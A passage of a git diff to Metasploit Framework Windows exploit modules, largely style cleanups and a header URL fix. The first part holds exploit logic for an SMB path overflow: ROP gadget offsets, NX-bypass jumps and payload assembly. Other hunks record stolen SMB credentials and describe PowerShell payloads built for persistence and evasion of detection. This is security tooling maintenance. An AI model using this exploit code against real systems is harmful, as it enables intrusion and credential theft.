Windows 2000 is mostly universal - if(fprint['os'] == 'Windows 2000') - mytarget = self.targets[1] + if (fprint['os'] == 'Windows 2000') + mytarget = targets[1] end # Windows XP SP0/SP1 is mostly universal - if(fprint['os'] == 'Windows XP' and fprint['sp'] == "Service Pack 0 / 1") - mytarget = self.targets[2] + if fprint['os'] == 'Windows XP' and fprint['sp'] == 'Service Pack 0 / 1' + mytarget = targets[2] end # Windows 2003 SP0 is mostly universal - if(fprint['os'] == 'Windows 2003' and fprint['sp'] == "No Service Pack") - mytarget = self.targets[7] + if fprint['os'] == 'Windows 2003' and fprint['sp'] == 'No Service Pack' + mytarget = targets[7] end # Windows 2003 R2 is treated the same as 2003 - if(fprint['os'] == 'Windows 2003 R2') + if (fprint['os'] == 'Windows 2003 R2') fprint['os'] = 'Windows 2003' end # Service Pack match must be exact - if((not mytarget) and fprint['sp'].index('+')) - print_error("Could not determine the exact service pack") + if (not mytarget) and fprint['sp'].index('+') + print_error('Could not determine the exact service pack') print_status("Auto-targeting failed, use 'show targets' to manually select one") disconnect return end # Language Pack match must be exact or we default to English - if((not mytarget) and fprint['lang'] == 'Unknown') - print_status("We could not detect the language pack, defaulting to English") + if (not mytarget) and fprint['lang'] == 'Unknown' + print_status('We could not detect the language pack, defaulting to English') fprint['lang'] = 'English' end # Normalize the service pack string fprint['sp'].gsub!(/Service Pack\s+/, 'SP') - if(not mytarget) - self.targets.each do |t| + unless mytarget + targets.each do |t| # Prefer AlwaysOn NX over NX, and NX over non-NX - if(t.name =~ /#{fprint['os']} #{fprint['sp']} #{fprint['lang']} \(AlwaysOn NX\)/) + if t.name =~ /#{fprint['os']} #{fprint['sp']} #{fprint['lang']} \(AlwaysOn NX\)/ mytarget = t break end - if(t.name =~ /#{fprint['os']} #{fprint['sp']} #{fprint['lang']} \(NX\)/) + if t.name =~ /#{fprint['os']} #{fprint['sp']} #{fprint['lang']} \(NX\)/ mytarget = t break end end end - if(not mytarget) - fail_with(Failure::NoTarget, "No matching target") + unless mytarget + fail_with(Failure::NoTarget, 'No matching target') end print_status("Selected Target: #{mytarget.name}") @@ -893,42 +876,41 @@ class Metasploit3 < Msf::Exploit::Remote # Build the malicious path name # - padder = [*("A".."Z")] - pad = "A" - while(pad.length < 7) + padder = [*('A'..'Z')] + pad = 'A' + while pad.length < 7 c = padder[rand(padder.length)] next if pad.index(c) pad += c end - prefix = "\\" - path = "" - server = Rex::Text.rand_text_alpha(rand(8)+1).upcase - + prefix = '\\' + path = '' + server = Rex::Text.rand_text_alpha(rand(8) + 1).upcase # # Windows 2003 SP2 (NX) targets # - if(mytarget['RetDec']) + if mytarget['RetDec'] jumper = Rex::Text.rand_text_alpha(70).upcase - jumper[ 0,4] = [mytarget['RetDec']].pack("V")# one more to Align and make room + jumper[ 0, 4] = [mytarget['RetDec']].pack('V') # one more to Align and make room - jumper[ 4,4] = [mytarget['RetDec']].pack("V") # 4 more for space - jumper[ 8,4] = [mytarget['RetDec']].pack("V") - jumper[ 12,4] = [mytarget['RetDec']].pack("V") - jumper[ 16,4] = [mytarget['RetDec']].pack("V") + jumper[ 4, 4] = [mytarget['RetDec']].pack('V') # 4 more for space + jumper[ 8, 4] = [mytarget['RetDec']].pack('V') + jumper[ 12, 4] = [mytarget['RetDec']].pack('V') + jumper[ 16, 4] = [mytarget['RetDec']].pack('V') - jumper[ 20,4] = [mytarget['RetPop']].pack("V")# pop to EBP - jumper[ 24,4] = [mytarget['DisableNX']].pack("V") + jumper[ 20, 4] = [mytarget['RetPop']].pack('V') # pop to EBP + jumper[ 24, 4] = [mytarget['DisableNX']].pack('V') - jumper[ 56,4] = [mytarget['JmpESP']].pack("V") - jumper[ 60,4] = [mytarget['JmpESP']].pack("V") - jumper[ 64,2] = "\xeb\x02" # our jump - jumper[ 68,2] = "\xeb\x62" # original + jumper[ 56, 4] = [mytarget['JmpESP']].pack('V') + jumper[ 60, 4] = [mytarget['JmpESP']].pack('V') + jumper[ 64, 2] = "\xeb\x02" # our jump + jumper[ 68, 2] = "\xeb\x62" # original path = - Rex::Text.to_unicode("\\") + + Rex::Text.to_unicode('\\') + # This buffer is removed from the front Rex::Text.rand_text_alpha(100) + @@ -937,16 +919,16 @@ class Metasploit3 < Msf::Exploit::Remote payload.encoded + # Relative path to trigger the bug - Rex::Text.to_unicode("\\..\\..\\") + + Rex::Text.to_unicode('\\..\\..\\') + # Extra padding Rex::Text.to_unicode(pad) + # Writable memory location (static) - [mytarget['Scratch']].pack("V") + # EBP + [mytarget['Scratch']].pack('V') + # EBP # Return to code which disables NX (or just the return) - [mytarget['RetDec']].pack("V") + + [mytarget['RetDec']].pack('V') + # Padding with embedded jump jumper + @@ -957,12 +939,12 @@ class Metasploit3 < Msf::Exploit::Remote # # Windows XP SP2/SP3 ROP Stager targets # - elsif(mytarget['UseROP']) + elsif mytarget['UseROP'] rop = generate_rop(mytarget['UseROP']) path = - Rex::Text.to_unicode("\\") + + Rex::Text.to_unicode('\\') + # This buffer is removed from the front Rex::Text.rand_text_alpha(100) + @@ -971,7 +953,7 @@ class Metasploit3 < Msf::Exploit::Remote payload.encoded + # Relative path to trigger the bug - Rex::Text.to_unicode("\\..\\..\\") + + Rex::Text.to_unicode('\\..\\..\\') + # Extra padding Rex::Text.to_unicode(pad) + @@ -991,12 +973,12 @@ class Metasploit3 < Msf::Exploit::Remote else jumper = Rex::Text.rand_text_alpha(70).upcase - jumper[ 4,4] = [mytarget.ret].pack("V") - jumper[50,8] = make_nops(8) - jumper[58,2] = "\xeb\x62" + jumper[ 4, 4] = [mytarget.ret].pack('V') + jumper[50, 8] = make_nops(8) + jumper[58, 2] = "\xeb\x62" path = - Rex::Text.to_unicode("\\") + + Rex::Text.to_unicode('\\') + # This buffer is removed from the front Rex::Text.rand_text_alpha(100) + @@ -1005,16 +987,16 @@ class Metasploit3 < Msf::Exploit::Remote payload.encoded + # Relative path to trigger the bug - Rex::Text.to_unicode("\\..\\..\\") + + Rex::Text.to_unicode('\\..\\..\\') + # Extra padding Rex::Text.to_unicode(pad) + # Writable memory location (static) - [mytarget['Scratch']].pack("V") + # EBP + [mytarget['Scratch']].pack('V') + # EBP # Return to code which disables NX (or just the return) - [ mytarget['DisableNX'] || mytarget.ret ].pack("V") + + [mytarget['DisableNX'] || mytarget.ret].pack('V') + # Padding with embedded jump jumper + @@ -1040,7 +1022,7 @@ class Metasploit3 < Msf::Exploit::Remote NDR.long(0) # NOTE: we don't bother waiting for a response here... - print_status("Attempting to trigger the vulnerability...") + print_status('Attempting to trigger the vulnerability...') dcerpc.call(0x1f, stub, false) # Cleanup @@ -1050,15 +1032,15 @@ class Metasploit3 < Msf::Exploit::Remote def check begin - connect() - smb_login() + connect + smb_login rescue Rex::ConnectionError => e vprint_error("Connection failed: #{e.class}: #{e}") return Msf::Exploit::CheckCode::Unknown rescue Rex::Proto::SMB::Exceptions::LoginError => e - if (e.message =~ /Connection reset/) - vprint_error("Connection reset during login") - vprint_error("This most likely means a previous exploit attempt caused the service to crash") + if e.message =~ /Connection reset/ + vprint_error('Connection reset during login') + vprint_error('This most likely means a previous exploit attempt caused the service to crash') return Msf::Exploit::CheckCode::Unknown else raise e @@ -1068,30 +1050,30 @@ class Metasploit3 < Msf::Exploit::Remote # # Build the malicious path name # 5b878ae7 "db @eax;g" - prefix = "\\" + prefix = '\\' path = - "\x00\\\x00/"*0x10 + - Rex::Text.to_unicode("\\") + - Rex::Text.to_unicode("R7") + - Rex::Text.to_unicode("\\..\\..\\") + - Rex::Text.to_unicode("R7") + - "\x00"*2 + "\x00\\\x00/" * 0x10 + + Rex::Text.to_unicode('\\') + + Rex::Text.to_unicode('R7') + + Rex::Text.to_unicode('\\..\\..\\') + + Rex::Text.to_unicode('R7') + + "\x00" * 2 - server = Rex::Text.rand_text_alpha(rand(8)+1).upcase + server = Rex::Text.rand_text_alpha(rand(8) + 1).upcase - handle = dcerpc_handle( '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', - 'ncacn_np', ["\\#{datastore['SMBPIPE']}"] + handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', + 'ncacn_np', ["\\#{datastore['SMBPIPE']}"] ) begin # Samba doesn't have this handle and returns an ErrorCode dcerpc_bind(handle) rescue Rex::Proto::SMB::Exceptions::ErrorCode => e - vprint_error("SMB error: #{e.message.to_s}") + vprint_error("SMB error: #{e.message}") return Msf::Exploit::CheckCode::Safe end - vprint_status("Verifying vulnerable status... (path: 0x%08x)" % path.length) + vprint_status('Verifying vulnerable status... (path: 0x%08x)' % path.length) stub = NDR.uwstring(server) + @@ -1102,7 +1084,7 @@ class Metasploit3 < Msf::Exploit::Remote NDR.long(0) resp = dcerpc.call(0x1f, stub) - error = resp[4,4].unpack("V")[0] + error = resp[4, 4].unpack('V')[0] # Cleanup simple.client.close @@ -1112,15 +1094,14 @@ class Metasploit3 < Msf::Exploit::Remote if (error == 0x0052005c) # \R :) return Msf::Exploit::CheckCode::Vulnerable else - vprint_error("System is not vulnerable (status: 0x%08x)" % error) if error + vprint_error('System is not vulnerable (status: 0x%08x)' % error) if error return Msf::Exploit::CheckCode::Safe end end - def generate_rop(version) free_byte = "\x90" - #free_byte = "\xcc" + # free_byte = "\xcc" # create a few small gadgets # ; pop edx; pop ecx; ret @@ -1166,7 +1147,7 @@ class Metasploit3 < Msf::Exploit::Remote # call [imp_HeapCreate] / mov [0x6f8b02c], eax / ret 'call_HeapCreate' => 0x21286, 'add eax, ebp / mov ecx, 0x59ffffa8 / ret' => 0x2e796, - 'pop ecx / ret' => 0x2e796+6, + 'pop ecx / ret' => 0x2e796 + 6, 'mov [eax], ecx / ret' => 0xd296, 'jmp eax' => 0x19c6f, 'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret' => 0x10a56, @@ -1214,14 +1195,13 @@ class Metasploit3 < Msf::Exploit::Remote gadget3.unpack('V').first ] - # convert the meta rop into concrete bytes rvas = rvasets[version] rop.map! { |e| if e.kind_of? String # Meta-replace (RVA) - fail_with(Failure::BadConfig, "Unable to locate key: \"#{e}\"") if not rvas[e] + fail_with(Failure::BadConfig, "Unable to locate key: \"#{e}\"") unless rvas[e] module_base + rvas[e] elsif e == :unused @@ -1237,9 +1217,8 @@ class Metasploit3 < Msf::Exploit::Remote ret = rop.pack('V*') # check badchars? - #idx = Rex::Text.badchar_index(ret, payload_badchars) + # idx = Rex::Text.badchar_index(ret, payload_badchars) ret end - end diff --git a/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb b/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb index 72d9522ff9..1d4af26353 100644 --- a/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb +++ b/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/smb/ms10_061_spoolss.rb b/modules/exploits/windows/smb/ms10_061_spoolss.rb index 067e629251..08b9056f16 100644 --- a/modules/exploits/windows/smb/ms10_061_spoolss.rb +++ b/modules/exploits/windows/smb/ms10_061_spoolss.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb b/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb index 7820b4c717..51ee545d34 100644 --- a/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb +++ b/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index 8e6ce240d6..8c7dcb9bf2 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -1,20 +1,17 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - -=begin -Windows XP systems that are not part of a domain default to treating all -network logons as if they were Guest. This prevents SMB relay attacks from -gaining administrative access to these systems. This setting can be found -under: - - Local Security Settings > - Local Policies > - Security Options > - Network Access: Sharing and security model for local accounts -=end +# Windows XP systems that are not part of a domain default to treating all +# network logons as if they were Guest. This prevents SMB relay attacks from +# gaining administrative access to these systems. This setting can be found +# under: +# +# Local Security Settings > +# Local Policies > +# Security Options > +# Network Access: Sharing and security model for local accounts require 'msf/core' @@ -105,20 +102,48 @@ class Metasploit3 < Msf::Exploit::Remote end if datastore['DB_REPORT_AUTH'] and datastore['SMBUser'].to_s.strip.length > 0 - report_hash = { - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :sname => 'smb', - :user => datastore['SMBUser'].downcase, - :pass => datastore['SMBPass'], - :active => true + + service_data = { + address: ::Rex::Socket.getaddress(datastore['RHOST'],true), + port: datastore['RPORT'], + service_name: 'smb', + protocol: 'tcp', + workspace_id: myworkspace_id } - if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/ - report_hash.merge!({:type => 'smb_hash'}) - else - report_hash.merge!({:type => 'password'}) + + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_data: datastore['SMBPass'], + username: datastore['SMBUser'].downcase + } + + if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP' + credential_data.merge!({ + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: datastore['SMBDomain'] + }) end - report_auth_info(report_hash) + + if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/ + credential_data.merge!({:private_type => :ntlm_hash}) + else + credential_data.merge!({:private_type => :password}) + end + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + access_level: 'Admin', + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + + login_data.merge!(service_data) + login = create_credential_login(login_data) end filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe" diff --git a/modules/exploits/windows/smb/psexec_psh.rb b/modules/exploits/windows/smb/psexec_psh.rb index 1e54d00150..f8bca9625b 100644 --- a/modules/exploits/windows/smb/psexec_psh.rb +++ b/modules/exploits/windows/smb/psexec_psh.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -23,20 +23,18 @@ class Metasploit3 < Msf::Exploit::Remote payload using a similar technique to the "psexec" utility provided by SysInternals. The payload is encoded in base64 and executed from the commandline using the -encodedcommand flag. Using this method, the payload is never written to disk, and given that each payload - is unique, is less prone to signature based detection. Since executing shellcode in .NET - requires the use of system resources from unmanaged memory space, the .NET (PSH) architecture - must match that of the payload. Lastly, a persist option is provided to execute the payload - in a while loop in order to maintain a form of persistence. In the event of a sandbox - observing PSH execution, a delay and other obfuscation may be added to avoid detection. - In order to avoid interactive process notifications for the current user, the psh payload has - been reduced in size and wrapped in a powershell invocation which hides the process entirely. + is unique, is less prone to signature based detection. A persist option is provided to + execute the payload in a while loop in order to maintain a form of persistence. In the + event of a sandbox observing PSH execution, a delay and other obfuscation may be added to + avoid detection. In order to avoid interactive process notifications for the current user, + the psh payload has been reduced in size and wrapped in a powershell invocation which hides + the window entirely. }, 'Author' => [ 'Royce @R3dy__ Davis ', # PSExec command module 'RageLtMan MSF_LICENSE, 'Privileged' => true, 'DefaultOptions' => @@ -44,17 +42,10 @@ class Metasploit3 < Msf::Exploit::Remote 'WfsDelay' => 10, 'EXITFUNC' => 'thread' }, - 'Payload' => - { - 'Space' => 8192, - 'DisableNops' => true, - 'StackAdjustment' => -3500 - }, 'Platform' => 'win', 'Targets' => [ - [ 'Windows x86', { 'Arch' => ARCH_X86 } ], - [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] + [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 01 1999', @@ -66,17 +57,21 @@ class Metasploit3 < Msf::Exploit::Remote [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ] ] )) + + register_options([ + OptBool.new('DryRun',[false,'Prints the powershell command that would be used',false]), + ], self.class) end def exploit - command = cmd_psh_payload(payload.encoded) - - if datastore['PERSIST'] and not datastore['DisablePayloadHandler'] - print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PERSIST option.") + command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) + if datastore['DryRun'] + print_good command.inspect + return end - if datastore['RUN_WOW64'] and target_arch.first == "x86_64" - fail_with(Failure::BadConfig, "Select an x86 target and payload with RUN_WOW64 enabled") + if datastore['PSH::persist'] and not datastore['DisablePayloadHandler'] + print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option") end # Try and authenticate with given credentials @@ -84,16 +79,16 @@ class Metasploit3 < Msf::Exploit::Remote begin smb_login rescue StandardError => autherror - disconnect - fail_with(Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}") + fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}") end # Execute the powershell command print_status("#{peer} - Executing the payload...") begin return psexec(command) rescue StandardError => exec_command_error + fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}") + ensure disconnect - fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}") end end end diff --git a/modules/exploits/windows/smb/smb_relay.rb b/modules/exploits/windows/smb/smb_relay.rb index c0bdca0831..6758f56a66 100644 --- a/modules/exploits/windows/smb/smb_relay.rb +++ b/modules/exploits/windows/smb/smb_relay.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb b/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb index 930cda18d8..0c630c4ead 100644 --- a/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb +++ b/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb b/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb index c97901a355..07925d6526 100644 --- a/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb +++ b/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -58,10 +58,10 @@ class Metasploit3 < Msf::Exploit::Remote def check connect - banner = sock.get_once(-1,3) || '' + banner = sock.get_once || '' disconnect - if (banner =~ /ESMTP TABS Mail Server for Windows NT/) + if banner.to_s =~ /ESMTP TABS Mail Server for Windows NT/ return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/smtp/mercury_cram_md5.rb b/modules/exploits/windows/smtp/mercury_cram_md5.rb index c49fd7129c..27ac045d5b 100644 --- a/modules/exploits/windows/smtp/mercury_cram_md5.rb +++ b/modules/exploits/windows/smtp/mercury_cram_md5.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb b/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb index b5304d4a15..3fbf61a555 100644 --- a/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb +++ b/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -151,7 +151,7 @@ class Metasploit3 < Msf::Exploit::Remote sock.put("XEXCH50 2 2\r\n") select(nil,nil,nil,3) - res = sock.get(-1,3) + res = sock.get_once print_status("#{res}") if (res !~ /Send binary data/) print_status("Target is not vulnerable.") diff --git a/modules/exploits/windows/smtp/njstar_smtp_bof.rb b/modules/exploits/windows/smtp/njstar_smtp_bof.rb index bf011e928d..bbf06483f1 100644 --- a/modules/exploits/windows/smtp/njstar_smtp_bof.rb +++ b/modules/exploits/windows/smtp/njstar_smtp_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/smtp/wmailserver.rb b/modules/exploits/windows/smtp/wmailserver.rb index 02f91d2169..6d393979a1 100644 --- a/modules/exploits/windows/smtp/wmailserver.rb +++ b/modules/exploits/windows/smtp/wmailserver.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/smtp/ypops_overflow1.rb b/modules/exploits/windows/smtp/ypops_overflow1.rb index 41708b4586..3b8450c140 100644 --- a/modules/exploits/windows/smtp/ypops_overflow1.rb +++ b/modules/exploits/windows/smtp/ypops_overflow1.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ssh/freeftpd_key_exchange.rb b/modules/exploits/windows/ssh/freeftpd_key_exchange.rb index cfbcb28cb3..d851559c2c 100644 --- a/modules/exploits/windows/ssh/freeftpd_key_exchange.rb +++ b/modules/exploits/windows/ssh/freeftpd_key_exchange.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ssh/freesshd_authbypass.rb b/modules/exploits/windows/ssh/freesshd_authbypass.rb index f4a6b4b396..e53bb028ea 100644 --- a/modules/exploits/windows/ssh/freesshd_authbypass.rb +++ b/modules/exploits/windows/ssh/freesshd_authbypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ssh/freesshd_key_exchange.rb b/modules/exploits/windows/ssh/freesshd_key_exchange.rb index d956194566..57e154860a 100644 --- a/modules/exploits/windows/ssh/freesshd_key_exchange.rb +++ b/modules/exploits/windows/ssh/freesshd_key_exchange.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ssh/putty_msg_debug.rb b/modules/exploits/windows/ssh/putty_msg_debug.rb index c7ccc00284..73b305f2a4 100644 --- a/modules/exploits/windows/ssh/putty_msg_debug.rb +++ b/modules/exploits/windows/ssh/putty_msg_debug.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ssh/securecrt_ssh1.rb b/modules/exploits/windows/ssh/securecrt_ssh1.rb index 2fe931bb7f..df985f1448 100644 --- a/modules/exploits/windows/ssh/securecrt_ssh1.rb +++ b/modules/exploits/windows/ssh/securecrt_ssh1.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ssh/sysax_ssh_username.rb b/modules/exploits/windows/ssh/sysax_ssh_username.rb index feb189f068..4f9dde83ce 100644 --- a/modules/exploits/windows/ssh/sysax_ssh_username.rb +++ b/modules/exploits/windows/ssh/sysax_ssh_username.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ssl/ms04_011_pct.rb b/modules/exploits/windows/ssl/ms04_011_pct.rb index ceaa08f607..908e98ec99 100644 --- a/modules/exploits/windows/ssl/ms04_011_pct.rb +++ b/modules/exploits/windows/ssl/ms04_011_pct.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb b/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb index 548edfabf6..3106ce456d 100644 --- a/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb +++ b/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -84,10 +84,10 @@ class Metasploit3 < Msf::Exploit::Remote connect print_status("Attempting to determine if target is possibly vulnerable...") select(nil,nil,nil,7) - banner = sock.get_once(-1,3) || '' + banner = sock.get_once || '' vprint_status("Banner: #{banner}") - if (banner =~ /TelSrv 1\.5/) + if banner.to_s =~ /TelSrv 1\.5/ return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/telnet/goodtech_telnet.rb b/modules/exploits/windows/telnet/goodtech_telnet.rb index a4e1fd6882..ea55e3c541 100644 --- a/modules/exploits/windows/telnet/goodtech_telnet.rb +++ b/modules/exploits/windows/telnet/goodtech_telnet.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/tftp/attftp_long_filename.rb b/modules/exploits/windows/tftp/attftp_long_filename.rb index 0504b7553f..7dcfec49fe 100644 --- a/modules/exploits/windows/tftp/attftp_long_filename.rb +++ b/modules/exploits/windows/tftp/attftp_long_filename.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/tftp/distinct_tftp_traversal.rb b/modules/exploits/windows/tftp/distinct_tftp_traversal.rb index 19bb81aa9f..5a297a5441 100644 --- a/modules/exploits/windows/tftp/distinct_tftp_traversal.rb +++ b/modules/exploits/windows/tftp/distinct_tftp_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/tftp/dlink_long_filename.rb b/modules/exploits/windows/tftp/dlink_long_filename.rb index 0837a4f29f..c8d78b0862 100644 --- a/modules/exploits/windows/tftp/dlink_long_filename.rb +++ b/modules/exploits/windows/tftp/dlink_long_filename.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/tftp/futuresoft_transfermode.rb b/modules/exploits/windows/tftp/futuresoft_transfermode.rb index 904d395d53..964048e51a 100644 --- a/modules/exploits/windows/tftp/futuresoft_transfermode.rb +++ b/modules/exploits/windows/tftp/futuresoft_transfermode.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb b/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb index dec7b81b91..1dda4114cb 100644 --- a/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb +++ b/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/tftp/opentftp_error_code.rb b/modules/exploits/windows/tftp/opentftp_error_code.rb index 22c225634a..0949f8ff23 100644 --- a/modules/exploits/windows/tftp/opentftp_error_code.rb +++ b/modules/exploits/windows/tftp/opentftp_error_code.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/tftp/quick_tftp_pro_mode.rb b/modules/exploits/windows/tftp/quick_tftp_pro_mode.rb index e279947f6f..2183c12283 100644 --- a/modules/exploits/windows/tftp/quick_tftp_pro_mode.rb +++ b/modules/exploits/windows/tftp/quick_tftp_pro_mode.rb @@ 